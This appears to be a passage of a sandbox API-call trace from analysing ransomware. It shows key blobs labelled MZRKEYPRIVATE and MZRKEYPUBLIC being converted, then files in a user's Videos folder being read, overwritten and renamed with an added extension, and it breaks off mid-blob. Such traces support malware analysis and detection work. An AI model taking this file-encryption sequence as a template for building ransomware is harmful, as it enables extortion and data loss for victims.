9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.715] GetCurrentThreadId () returned 0xa30 [0087.715] GetCurrentThreadId () returned 0xa30 [0087.715] GetCurrentThreadId () returned 0xa30 [0087.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.715] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.716] GetCurrentThreadId () returned 0xa30 [0087.716] GetCurrentThreadId () returned 0xa30 [0087.716] GetCurrentThreadId () returned 0xa30 [0087.716] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\X2Gw1ITrR9nx.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\x2gw1itrr9nx.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.717] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.717] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.717] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x12473 [0087.717] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.717] ReadFile (in: hFile=0x11c, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x12473, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f6a0*=0x12473, lpOverlapped=0x0) returned 1 [0087.720] CloseHandle (hObject=0x11c) returned 1 [0087.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\X2Gw1ITrR9nx.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\x2gw1itrr9nx.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.726] WriteFile (in: hFile=0x11c, lpBuffer=0x1f0cfa0*, nNumberOfBytesToWrite=0x12473, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0cfa0*, lpNumberOfBytesWritten=0x18f6ac*=0x12473, lpOverlapped=0x0) returned 1 [0087.730] CloseHandle (hObject=0x11c) returned 1 [0087.733] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\X2Gw1ITrR9nx.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\x2gw1itrr9nx.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\X2Gw1ITrR9nx.mp4.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\x2gw1itrr9nx.mp4.zv7un")) returned 1 [0087.734] GetCurrentThreadId () returned 0xa30 [0087.734] GetCurrentThreadId () returned 0xa30 [0087.735] GetCurrentThreadId () returned 0xa30 [0087.735] GetCurrentThreadId () returned 0xa30 [0087.735] GetCurrentThreadId () returned 0xa30 [0087.735] GetCurrentThreadId () returned 0xa30 [0087.735] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435a3730, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0x162a97d0, ftLastAccessTime.dwHighDateTime=0x1d5d9f6, ftLastWriteTime.dwLowDateTime=0x162a97d0, ftLastWriteTime.dwHighDateTime=0x1d5d9f6, nFileSizeHigh=0x0, nFileSizeLow=0xdff7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZrCkb-NVmV4Yo9bZ.avi", cAlternateFileName="ZRCKB-~1.AVI")) returned 1 [0087.735] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.735] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.735] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\ZrCkb-NVmV4Yo9bZ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\zrckb-nvmv4yo9bz.avi"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435a3730, ftCreationTime.dwHighDateTime=0x1d5dc83, ftLastAccessTime.dwLowDateTime=0x162a97d0, ftLastAccessTime.dwHighDateTime=0x1d5d9f6, ftLastWriteTime.dwLowDateTime=0x162a97d0, ftLastWriteTime.dwHighDateTime=0x1d5d9f6, nFileSizeHigh=0x0, nFileSizeLow=0xdff7)) returned 1 [0087.735] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\ZrCkb-NVmV4Yo9bZ.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\zrckb-nvmv4yo9bz.avi")) returned 0x20 [0087.735] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\ZrCkb-NVmV4Yo9bZ.avi", dwFileAttributes=0x80) returned 1 [0087.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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